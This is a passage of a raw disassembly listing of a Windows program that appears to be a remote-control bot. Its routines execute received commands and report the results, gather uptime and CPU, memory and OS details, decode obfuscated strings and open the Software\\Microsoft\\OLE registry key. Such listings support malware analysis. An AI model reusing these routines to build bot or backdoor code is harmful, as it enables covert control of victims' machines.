10h call sub_4017EE push eax lea edx, [esp+17Ch+var_11C] push offset aResolve_errorS ; "resolve.error %s." push edx call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+17Ch+var_11C] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx loc_40545B: ; CODE XREF: sub_404CC0+64Fj mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+178h+var_11C] mov bl, al mov [esp+178h+var_4], ebp call sub_401226 mov al, bl jmp loc_4056BF ; --------------------------------------------------------------------------- loc_40547E: ; CODE XREF: sub_404CC0+50Cj lea ecx, [edi+0BCDh] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_40556C lea ecx, [edi+9] call sub_4017EE lea edx, [esp+178h+var_164] push eax push edx call sub_402040 push 0 push 25h push 1Dh push 23h lea eax, [esp+190h+var_14C] mov ebx, 11h push 28h push eax mov [esp+198h+var_4], ebx call sub_4019C4 add esp, 20h mov esi, eax lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 12h call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax push offset aSS_0 ; "%s %s\r\n" push offset byte_4D8085 call sub_401E24 add esp, 10h lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], bl call sub_401226 push 20h lea ecx, [esp+17Ch+var_14C] push 0 push ecx lea ecx, [esp+184h+var_164] call sub_4012B2 mov ecx, eax mov byte ptr [esp+178h+var_4], 13h call sub_4017EE push eax push offset aS ; "%s" push offset byte_4E8E55 call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_40556C: ; CODE XREF: sub_404CC0+7D3j lea ecx, [edi+0E23h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4056DA push offset asc_444600 ; " " lea edx, [esp+17Ch+var_11C] push 1 push edx mov ecx, esi call sub_4016B8 mov edi, eax mov ecx, ebp mov [esp+178h+var_4], 14h call sub_4013E3 mov ecx, edi mov ebx, eax call sub_4013E3 mov ecx, esi lea edi, [ebx+eax+3] call sub_4013E3 cmp eax, edi lea ecx, [esp+178h+var_11C] setle bl or edi, 0FFFFFFFFh mov [esp+178h+var_4], edi call sub_401226 test bl, bl jnz loc_4056BD lea ecx, [esp+178h+var_14C] call sub_40142E mov ecx, ebp mov [esp+178h+var_4], 15h call sub_4013E3 add eax, 2 mov ecx, esi push eax call sub_401479 push eax lea ecx, [esp+17Ch+var_14C] call sub_4015E1 lea ecx, [esp+178h+var_164] call sub_40142E lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], 16h call sub_4017EE push eax lea eax, [esp+17Ch+var_164] push offset aExecutedS_ ; "Executed: %s." push eax call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_14C] call sub_4017EE push eax call near ptr 77C293C7h nop add esp, 4 cmp eax, edi lea ecx, [esi+69h] jnz short loc_405674 call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aExec_error ; "exec.error" push ecx push edx jmp short loc_405692 ; --------------------------------------------------------------------------- loc_405674: ; CODE XREF: sub_404CC0+997j call sub_4014DD push eax lea ecx, [esp+17Ch+var_164] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx loc_405692: ; CODE XREF: sub_404CC0+9B2j mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 15h call sub_401226 mov [esp+178h+var_4], edi lea ecx, [esp+178h+var_14C] loc_4056B8: ; CODE XREF: sub_404CC0+1D4j ; sub_404CC0+2AFj ... call sub_401226 loc_4056BD: ; CODE XREF: sub_404CC0+91Cj ; sub_404CC0+C6Aj xor al, al loc_4056BF: ; CODE XREF: sub_404CC0+6Fj ; sub_404CC0+200j ... mov ecx, [esp+178h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 168h retn 4 ; --------------------------------------------------------------------------- loc_4056DA: ; CODE XREF: sub_404CC0+8C1j lea ecx, [edi+0C85h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_405750 lea edx, [esp+178h+var_164] mov ecx, edi push edx call sub_401F5A mov edi, eax lea ecx, [esi+69h] mov [esp+178h+var_4], 17h call sub_4014DD push eax mov ecx, edi call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+178h+var_164] mov bl, al mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_4056BF ; --------------------------------------------------------------------------- loc_405750: ; CODE XREF: sub_404CC0+A2Fj lea ecx, [edi+0CE1h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405841 push 1 push offset asc_444600 ; " " lea edx, [esp+180h+var_14C] push 1 push edx mov ecx, esi call sub_4011EA push 20h lea ecx, [esp+17Ch+var_164] push 0 push ecx mov ecx, eax mov [esp+184h+var_4], 18h call sub_4012B2 mov ecx, eax mov byte ptr [esp+178h+var_4], 19h call sub_4017EE push eax push offset aS ; "%s" push offset byte_4E8E55 call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 18h call sub_401226 or edi, 0FFFFFFFFh lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], edi call sub_401226 push 0 push 25h push 1Dh push 23h lea edx, [esp+188h+var_164] push 28h push edx call sub_4019C4 add esp, 18h mov esi, eax mov ecx, offset byte_4E8E55 mov [esp+178h+var_4], 1Ah call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax push offset aSS_0 ; "%s %s\r\n" push offset byte_4D8085 call sub_401E24 add esp, 10h lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], edi call sub_401226 mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_405841: ; CODE XREF: sub_404CC0+AA5j lea ecx, [edi+0CB3h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405915 push offset asc_444600 ; " " lea eax, [esp+17Ch+var_14C] push 1 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+178h+var_4], 1Bh call sub_4017EE push eax call near ptr 77C1BF18h nop or ebp, 0FFFFFFFFh add esp, 4 lea ecx, [esp+178h+var_14C] mov ebx, eax mov [esp+178h+var_4], ebp call sub_401226 test ebx, ebx jnz short loc_4058A9 mov ebx, 7 loc_4058A9: ; CODE XREF: sub_404CC0+BE2j lea ecx, [esp+178h+var_164] push ebx push ecx mov ecx, edi call sub_40195B push offset byte_448F40 lea ecx, [esp+17Ch+var_164] mov [esp+17Ch+var_4], 1Ch call sub_4012EE test eax, eax jz short loc_4058FE lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+17Ch+var_164] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8085 call sub_401118 loc_4058FE: ; CODE XREF: sub_404CC0+C11j lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], ebp call sub_401226 mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_405915: ; CODE XREF: sub_404CC0+B96j lea ecx, [edi+0DF5h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4056BD lea ecx, [esp+178h+var_100] call sub_40142E push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+22Ch+var_164] push 2Dh push ecx mov [esp+234h+var_4], 1Dh call sub_4019C4 add esp, 0BCh mov ecx, eax mov byte ptr [esp+178h+var_4], 1Eh call sub_4017EE push eax lea ecx, [esp+17Ch+var_100] call sub_401A9B lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 1Dh call sub_401226 mov edi, offset aN ; "N" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+178h+var_8C] repne scasb not ecx sub edi, ecx mov [esp+178h+var_168], 0 mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb lea edi, [esp+178h+var_8C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov esi, dword_511764 mov edi, ecx lea ecx, [esp+178h+var_168] push ecx push 20019h push eax push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push 80000002h call esi push 0 push 27h push 29h push 1Dh push 1Eh push 5 push 0Ch push 2 push 1 push 0Eh lea edx, [esp+1B4h+var_178] push 1Fh push edx call sub_4019C4 add esp, 30h lea ecx, [esp+18Ch+var_A0] push edi push ecx push 1 push 0 mov ecx, eax mov [esp+19Ch+var_18], 1Fh call sub_4017EE mov edx, [esp+19Ch+var_17C] push eax push edx nop call near ptr 2930000h lea ecx, [esp+1A4h+var_190] mov [esp+1A4h+var_30], 1Dh call sub_401226 mov eax, [esp+1A4h+var_194] mov edi, dword_511740 push eax call edi lea ecx, [esp+1A8h+var_198] push ecx push 0F003Fh push 0 lea ecx, [esp+1B4h+var_130] call sub_4017EE push eax push 80000002h call esi push 0 push 5 push 18h push 5 push 4Eh push 5 push 14h push 1 push 13h lea edx, [esp+1E0h+var_1A8] push 2Dh push edx call sub_4019C4 add esp, 2Ch mov ecx, eax mov [esp+1BCh+var_48], 20h call sub_4017EE mov ebp, dword_51176C push eax mov eax, [esp+1C0h+var_1AC] push eax call ebp lea ecx, [esp+1C4h+var_1B0] mov [esp+1C4h+var_50], 1Dh call sub_401226 mov ecx, [esp+1C4h+var_1B4] push ecx call edi push 0 push 5 push 18h push 5 push 4Eh push 48h push 0Eh push 15h push 12h lea edx, [esp+1ECh+var_1B4] push 9 push edx call sub_4019C4 add esp, 2Ch mov ecx, eax mov [esp+1C8h+var_54], 21h call sub_4017EE push eax call sub_401604 sub_404CC0 endp ; --------------------------------------------------------------------------- db 83h dd 4C8D04C4h, 84C61424h, 17424h, 0BFE81D00h, 8DFFFFB6h dd 0E844244Ch, 0FFFFB8BEh, 46822B3h, 68000001h, 104h, 4C244C8Dh dd 7C249C88h, 0E8000001h, 0FFFFC0E5h, 6DE89050h, 6A023EA4h dd 6A056A00h, 6A056A18h, 6A486A4Eh, 6A156A0Eh, 24448D12h dd 50096A38h, 0FFBE13E8h, 2CC483FFh, 84C6C88Bh, 17424h dd 2BE82300h, 50FFFFBCh, 48244C8Dh, 0FFBC21E8h, 4C8D50FFh dd 84684C24h, 51004446h, 0FFB450E8h, 10C483FFh, 14244C8Dh dd 74249C88h, 0E8000001h, 0FFFFB636h, 44244C8Dh, 0FFBA92E8h dd 63E850FFh, 90023DB0h, 1024548Dh, 78244C8Dh, 3F6852h dd 6A000Fh, 0FFBBD9E8h, 26850FFh, 0FF800000h, 6A006AD6h dd 6A186A05h, 6A4E6A05h, 6A146A05h, 24448D01h, 50126A34h dd 0FFBD8BE8h, 28C483FFh, 84C6C88Bh, 17424h, 0A3E82400h dd 8BFFFFBBh, 5010244Ch, 8DD5FF51h, 8814244Ch, 174249Ch dd 0C3E80000h, 8BFFFFB5h, 52102454h, 6AD7FFh, 186A056Ah dd 4E6A056Ah, 0E6A486Ah, 496A486Ah, 456A126Ah, 448D456Ah dd 96A4424h, 0BD36E850h, 0C483FFFFh, 0C6C88B38h, 1742484h dd 0E8250000h, 0FFFFBB4Eh, 0B95EE850h, 0C483FFFFh, 244C8D04h dd 249C8814h, 174h, 0FFB56DE8h, 10468FFh, 4680000h, 8D000001h dd 0E84C244Ch, 0FFFFBFA5h, 2DE89050h, 6A023EA3h, 6A056A00h dd 6A056A18h, 6A486A4Eh, 6A486A0Eh, 6A126A49h, 8D456A45h dd 6A44244Ch, 0CDE85109h, 83FFFFBCh, 0C88B38C4h, 742484C6h dd 26000001h, 0FFBAE5E8h, 4C8D50FFh, 0DBE84824h, 50FFFFBAh dd 4C24548Dh, 44468468h, 0AE85200h, 83FFFFB3h, 4C8D10C4h dd 9C881424h, 17424h, 0B4F0E800h, 4C8DFFFFh, 4CE84424h dd 50FFFFB9h, 0AF1CE890h, 448D023Dh, 4C8D1024h, 68507824h dd 0F003Fh, 93E8006Ah, 50FFFFBAh, 268h, 6AD6FF80h, 6A056A00h dd 6A056A18h, 6A056A4Eh, 6A016A14h, 244C8D13h, 51136A38h dd 0FFBC43E8h, 2CC483FFh, 84C6C88Bh, 17424h, 5BE82700h dd 8BFFFFBAh, 50102454h, 8DD5FF52h, 8814244Ch, 174249Ch dd 7BE80000h, 8BFFFFB4h, 50102444h, 6AD7FFh, 186A056Ah dd 4E6A056Ah, 196A136Ah, 0E6A136Ah, 4C8D096Ah, 176A3C24h dd 0BBF2E851h, 0C483FFFFh, 0C6C88B30h, 1742484h, 0E8280000h dd 0FFFFBA0Ah, 0B81AE850h, 0C483FFFFh, 244C8D04h, 249C8814h dd 174h, 0FFB429E8h, 10468FFh, 4680000h, 8D000001h, 0E84C244Ch dd 0FFFFBE61h, 0E9E89050h, 6A023EA1h, 6A056A00h, 6A056A18h dd 6A136A4Eh, 6A136A19h, 8D096A0Eh, 6A3C2454h, 8DE85217h dd 83FFFFBBh, 0C88B30C4h, 742484C6h, 29000001h, 0FFB9A5E8h dd 4C8D50FFh, 9BE84824h, 50FFFFB9h, 4C24448Dh, 44468468h dd 0CAE85000h, 83FFFFB1h, 4C8D10C4h, 9C881424h, 17424h dd 0B3B0E800h, 4C8DFFFFh, 0CE84424h, 50FFFFB8h, 0ADDCE890h dd 4C8D023Dh, 68511024h, 0F003Fh, 8C8D006Ah, 8424h, 0B950E800h dd 6850FFFFh, 80000002h, 6AD6FFh, 186A056Ah, 4E6A056Ah dd 146A056Ah, 46A016Ah, 156A106Ah, 476A046Ah, 4824548Dh dd 0E852046Ah, 0FFFFBAF8h, 8B3CC483h, 2484C6C8h, 174h dd 0B910E82Ah, 8B50FFFFh, 50142444h, 4C8DD5FFh, 9C881424h dd 17424h, 0B330E800h, 4C8BFFFFh, 0FF511024h, 6A006AD7h dd 6A186A05h, 6A4E6A05h, 6A0C6A05h, 6A016A07h, 8D026A05h dd 6A402454h, 0A5E85202h, 83FFFFBAh, 0C88B34C4h, 742484C6h dd 2B000001h, 0FFB8BDE8h, 0CDE850FFh, 83FFFFB6h, 4C8D04C4h dd 9C881424h, 17424h, 0B2DCE800h, 468FFFFh, 68000001h dd 104h, 4C244C8Dh, 0FFBD14E8h, 0E89050FFh, 23EA09Ch, 56A006Ah dd 56A186Ah, 56A4E6Ah, 76A0C6Ah, 56A016Ah, 448D026Ah, 26A4024h dd 0BA3EE850h, 0C483FFFFh, 0C6C88B34h, 1742484h, 0E82C0000h dd 0FFFFB856h, 244C8D50h, 0B84CE848h, 8D50FFFFh, 684C244Ch dd 444684h, 0B07BE851h, 0C483FFFFh, 244C8D10h, 249C8814h dd 174h, 0FFB261E8h, 244C8DFFh, 0B6BDE844h, 9050FFFFh dd 3DAC8DE8h, 24548D02h, 244C8D10h, 3F685278h, 6A000F00h dd 0B804E800h, 6850FFFFh, 80000002h, 6AD6FFh, 0F6A0E6Ah dd 0B6A276Ah, 16A136Ah, 3024448Dh, 0E8502E6Ah, 0FFFFB9B8h dd 8B24C483h, 2484C6C8h, 174h, 0B7D0E82Dh, 4C8BFFFFh, 51501024h dd 4C8DD5FFh, 9C881424h, 17424h, 0B1F0E800h, 548BFFFFh dd 0FF521024h, 6A006AD7h, 6A186A05h, 6A4E6A05h, 6A0F6A0Eh dd 6A0B6A0Dh, 8D016A13h, 6A402444h, 65E85014h, 83FFFFB9h dd 0C88B34C4h, 742484C6h, 2E000001h, 0FFB77DE8h, 8DE850FFh dd 83FFFFB5h, 4C8D04C4h, 9C881424h, 17424h, 0B19CE800h dd 468FFFFh, 68000001h, 104h, 4C244C8Dh, 0FFBBD4E8h, 0E89050FFh dd 23E9F5Ch, 56A006Ah, 56A186Ah, 0E6A4E6Ah, 0D6A0F6Ah dd 136A0B6Ah, 4C8D016Ah, 146A4024h, 0B8FEE851h, 0C483FFFFh dd 0C6C88B34h, 1742484h, 0E82F0000h, 0FFFFB716h, 244C8D50h dd 0B70CE848h, 6850FFFFh, 444684h, 5024548Dh, 0AF3BE852h dd 0C483FFFFh, 244C8D10h, 249C8814h, 174h, 0FFB121E8h dd 244C8DFFh, 0B57DE844h, 9050FFFFh, 3DAB4DE8h, 24448D02h dd 244C8D10h, 3F685078h, 6A000F00h, 0B6C4E800h, 6850FFFFh dd 80000002h, 6AD6FFh, 56A126Ah, 0F6A126Ah, 106A0C6Ah dd 8C8D186Ah, 0B024h, 511F6A00h, 0FFB873E8h, 28C483FFh dd 84C6C88Bh, 17424h, 8BE83000h, 8BFFFFB6h, 50102454h dd 8DD5FF52h, 90248Ch, 9C880000h, 17424h, 0B0A8E800h, 448BFFFFh dd 0FF501024h, 10358BD7h, 6800511Bh, 444668h, 4C68D6FFh dd 0FF004446h, 462C68D6h, 0D6FF0044h, 44460868h, 83D6FF00h dd 4C8D10C4h, 84C64424h, 17424h, 6BE81D00h, 8DFFFFB0h dd 0C778244Ch, 1742484h, 0FFFF0000h, 57E8FFFFh, 0B0FFFFB0h dd 0F4E9E901h, 9090FFFFh, 2 dup(90909090h), 154h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_406730 proc near ; CODE XREF: sub_40195Bj var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_406730 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push ebp push esi xor ebx, ebx push edi lea ecx, [esp+38h+var_24] mov [esp+38h+var_28], ebx call sub_40142E mov esi, [esp+38h+arg_4] mov ebp, 1 cmp esi, ebx mov [esp+38h+var_4], ebp jnz short loc_406781 mov esi, [esp+38h+arg_0] push ebx mov ecx, esi call sub_402112 mov [esp+38h+var_28], ebp jmp loc_406827 ; --------------------------------------------------------------------------- loc_406781: ; CODE XREF: sub_406730+3Aj nop call near ptr 27E0BCDh mov ecx, eax mov eax, 10624DD3h mul ecx mov ecx, edx mov eax, 0C22E4507h shr ecx, 6 imul ecx add edx, ecx sar edx, 10h mov eax, edx shr eax, 1Fh add edx, eax mov edi, edx cmp edi, esi jl short loc_406813 mov eax, ecx mov ecx, 15180h cdq idiv ecx mov esi, 0E10h mov ecx, edx mov eax, ecx cdq idiv esi mov eax, 88888889h mov esi, edx imul esi add edx, esi sar edx, 5 mov eax, edx shr eax, 1Fh add edx, eax mov eax, 91A2B3C5h push edx imul ecx add edx, ecx sar edx, 0Bh mov ecx, edx shr ecx, 1Fh add edx, ecx push edx push edi lea edx, [esp+44h+var_24] push offset aUpDdDhDm ; "up: %dd %dh %dm" push edx call sub_40102D mov esi, [esp+4Ch+arg_0] add esp, 14h lea eax, [esp+38h+var_24] mov ecx, esi push eax call sub_4014D3 jmp short loc_406823 ; --------------------------------------------------------------------------- loc_406813: ; CODE XREF: sub_406730+7Cj mov esi, [esp+38h+arg_0] push offset byte_448F40 mov ecx, esi call sub_401870 loc_406823: ; CODE XREF: sub_406730+E1j mov [esp+38h+var_28], ebp loc_406827: ; CODE XREF: sub_406730+4Cj lea ecx, [esp+38h+var_24] mov byte ptr [esp+38h+var_4], bl call sub_401226 mov ecx, [esp+38h+var_C] mov eax, esi pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 28h retn 8 sub_406730 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_4068A0: ; CODE XREF: ___:00401672j push ecx push esi mov esi, [esp+0Ch] push offset byte_448F40 mov ecx, esi mov dword ptr [esp+8], 0 call sub_401870 mov eax, esi pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4068E0 proc near ; CODE XREF: sub_401F5Aj var_198 = dword ptr -198h var_194 = dword ptr -194h var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_174 = byte ptr -174h var_164 = byte ptr -164h var_14C = byte ptr -14Ch var_144 = dword ptr -144h var_140 = dword ptr -140h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4068E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18Ch push ebp push esi push edi lea ecx, [esp+1A4h+var_18C] mov [esp+1A4h+var_198], 0 call sub_40142E mov [esp+1A4h+var_4], 1 nop call near ptr 27E0BCDh mov ecx, eax mov eax, 10624DD3h mul ecx mov esi, edx lea edx, [esp+1A4h+var_14C] push edx mov [esp+1A8h+var_190], 10h shr esi, 6 mov [esp+1A8h+var_194], 15h nop call near ptr 2820000h lea eax, [esp+1A4h+var_12C] mov [esp+1A4h+var_12C], 94h push eax nop call near ptr 2810000h mov eax, [esp+1A4h+var_128] cmp eax, 4 jnz short loc_4069AE mov eax, [esp+1A4h+var_124] test eax, eax jnz short loc_406996 mov eax, [esp+1A4h+var_11C] cmp eax, 1 jnz short loc_406986 mov ebp, offset a95 ; "95" jmp loc_406A21 ; --------------------------------------------------------------------------- loc_406986: ; CODE XREF: sub_4068E0+9Aj cmp eax, 2 jnz loc_406A1D mov ebp, offset aNt ; "NT" jmp short loc_4069EA ; --------------------------------------------------------------------------- loc_406996: ; CODE XREF: sub_4068E0+8Ej cmp eax, 0Ah jnz short loc_4069A2 mov ebp, offset a98 ; "98" jmp short loc_4069E0 ; --------------------------------------------------------------------------- loc_4069A2: ; CODE XREF: sub_4068E0+B9j cmp eax, 5Ah jnz short loc_4069DB mov ebp, offset aMe ; "ME" jmp short loc_4069E0 ; --------------------------------------------------------------------------- loc_4069AE: ; CODE XREF: sub_4068E0+83j cmp eax, 5 jnz short loc_4069DB mov eax, [esp+1A4h+var_124] test eax, eax jnz short loc_4069C5 mov ebp, offset a2000 ; "2000" jmp short loc_4069E0 ; --------------------------------------------------------------------------- loc_4069C5: ; CODE XREF: sub_4068E0+DCj cmp eax, 1 jnz short loc_4069D1 mov ebp, offset aXp ; "XP" jmp short loc_4069E0 ; --------------------------------------------------------------------------- loc_4069D1: ; CODE XREF: sub_4068E0+E8j cmp eax, 2 mov ebp, offset a2003 ; "2003" jz short loc_4069E0 loc_4069DB: ; CODE XREF: sub_4068E0+C5j ; sub_4068E0+D1j mov ebp, offset a??? ; "???" loc_4069E0: ; CODE XREF: sub_4068E0+C0j ; sub_4068E0+CCj ... cmp [esp+1A4h+var_11C], 2 jnz short loc_406A21 loc_4069EA: ; CODE XREF: sub_4068E0+B4j mov al, [esp+1A4h+var_118] test al, al jz short loc_406A21 lea ecx, [esp+1A4h+var_118] lea edx, [esp+1A4h+var_98] push ecx push ebp push offset aSS_2 ; "%s [%s]" push edx nop call sub_5F74D1 add esp, 10h lea ebp, [esp+1A4h+var_98] jmp short loc_406A21 ; --------------------------------------------------------------------------- loc_406A1D: ; CODE XREF: sub_4068E0+A9j mov ebp, [esp+1A4h+var_198] loc_406A21: ; CODE XREF: sub_4068E0+A1j ; sub_4068E0+108j ... lea eax, [esp+1A4h+var_190] lea ecx, [esp+1A4h+var_174] push eax push ecx nop call near ptr 2801206h lea edx, [esp+1A4h+var_194] lea eax, [esp+1A4h+var_164] push edx push eax call near ptr 2910CF4h nop mov eax, esi mov ecx, 15180h cdq idiv ecx lea eax, [esp+1A4h+var_174] mov edi, 0E10h mov ecx, edx lea edx, [esp+1A4h+var_164] push edx push eax mov eax, ecx cdq idiv edi mov eax, 88888889h mov edi, edx imul edi add edx, edi sar edx, 5 mov eax, edx shr eax, 1Fh add edx, eax mov eax, 91A2B3C5h push edx imul ecx add edx, ecx mov eax, 0C22E4507h sar edx, 0Bh mov ecx, edx shr ecx, 1Fh add edx, ecx mov ecx, [esp+1B0h+var_120] push edx imul esi add edx, esi sar edx, 10h mov eax, edx shr eax, 1Fh add edx, eax mov eax, [esp+1B4h+var_128] push edx mov edx, [esp+1B8h+var_124] push ecx mov ecx, [esp+1BCh+var_144] push edx push eax mov eax, 804021h push ebp mul ecx sub ecx, edx mov eax, 804021h shr ecx, 1 add ecx, edx shr ecx, 13h push ecx mov ecx, [esp+1CCh+var_140] mul ecx sub ecx, edx shr ecx, 1 add ecx, edx shr ecx, 13h push ecx call sub_4017FD push eax lea ecx, [esp+1D4h+var_18C] push offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "... push ecx call sub_40102D mov esi, [esp+1DCh+arg_0] add esp, 38h lea edx, [esp+1A4h+var_18C] push edx mov ecx, esi call sub_4014D3 mov [esp+1A4h+var_198], 1 lea ecx, [esp+1A4h+var_18C] mov byte ptr [esp+1A4h+var_4], 0 call sub_401226 mov ecx, [esp+1A4h+var_C] mov eax, esi pop edi pop esi pop ebp mov large fs:0, ecx add esp, 198h retn 4 sub_4068E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406BF0 proc near ; CODE XREF: sub_4015E6j mov eax, ecx mov dword ptr [eax], offset off_43F008 mov dword ptr [eax+110h], 0 retn sub_406BF0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_406C20: ; CODE XREF: ___:00401FAAj push esi mov esi, ecx call sub_401447 test byte ptr [esp+8], 1 jz short loc_406C38 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_406C38: ; CODE XREF: ___:00406C2Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406C50 proc near ; CODE XREF: sub_401447j mov dword ptr [ecx], offset off_43F008 mov ecx, [ecx+110h] test ecx, ecx jz short locret_406C67 push ecx call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx locret_406C67: ; CODE XREF: sub_406C50+Ej retn sub_406C50 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_406C80 proc near ; CODE XREF: sub_401384j arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_406C80 push eax mov large fs:0, esp sub esp, 448h push ebx mov ebx, ecx mov eax, [ebx+110h] test eax, eax jz short loc_406CB1 push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_406CB1: ; CODE XREF: sub_406C80+26j push ebp push esi mov esi, [esp+460h+arg_0] push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx call sub_437AEA sub_406C80 endp ; --------------------------------------------------------------------------- mov edx, eax mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax mov [ebx+110h], edx repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov edi, [ebx+110h] or ecx, 0FFFFFFFFh mov byte ptr [ebx+4], 0 mov dword ptr [ebx+5], 0 mov byte ptr [ebx+9], 0 mov byte ptr [ebx+0Ah], 0 mov byte ptr [ebx+0Bh], 0 repne scasb not ecx push ecx call sub_437AEA ; --------------------------------------------------------------------------- mov edi, [ebx+110h] mov edx, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov ebp, dword_511B00 mov eax, ecx mov esi, edi mov edi, edx push offset asc_444600 ; " " shr ecx, 2 rep movsd mov ecx, eax push edx and ecx, 3 rep movsb call ebp ; strtok add esp, 10h mov [esp+58h], eax lea esi, [esp+5Ch] mov edi, 0FFh loc_406D62: ; CODE XREF: ___:00406D74j push offset asc_444600 ; " " push 0 call ebp ; strtok mov [esi], eax add esp, 8 add esi, 4 dec edi jnz short loc_406D62 mov eax, [esp+58h] xor ecx, ecx cmp eax, ecx jz loc_406F68 lea ebp, [esp+58h] loc_406D88: ; CODE XREF: ___:00406F60j mov edi, [ebp+0] mov esi, offset dword_4447EC mov eax, edi loc_406D92: ; CODE XREF: ___:00406DB0j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406DB6 test cl, cl jz short loc_406DB2 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406DB6 add eax, 2 add esi, 2 test cl, cl jnz short loc_406D92 loc_406DB2: ; CODE XREF: ___:00406D9Cj xor eax, eax jmp short loc_406DBB ; --------------------------------------------------------------------------- loc_406DB6: ; CODE XREF: ___:00406D98j ; ___:00406DA6j sbb eax, eax sbb eax, 0FFFFFFFFh loc_406DBB: ; CODE XREF: ___:00406DB4j test eax, eax jz loc_406F58 mov esi, offset aUpdate ; "-update" mov eax, edi loc_406DCA: ; CODE XREF: ___:00406DE8j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406DEE test cl, cl jz short loc_406DEA mov dl, [eax+1] mov 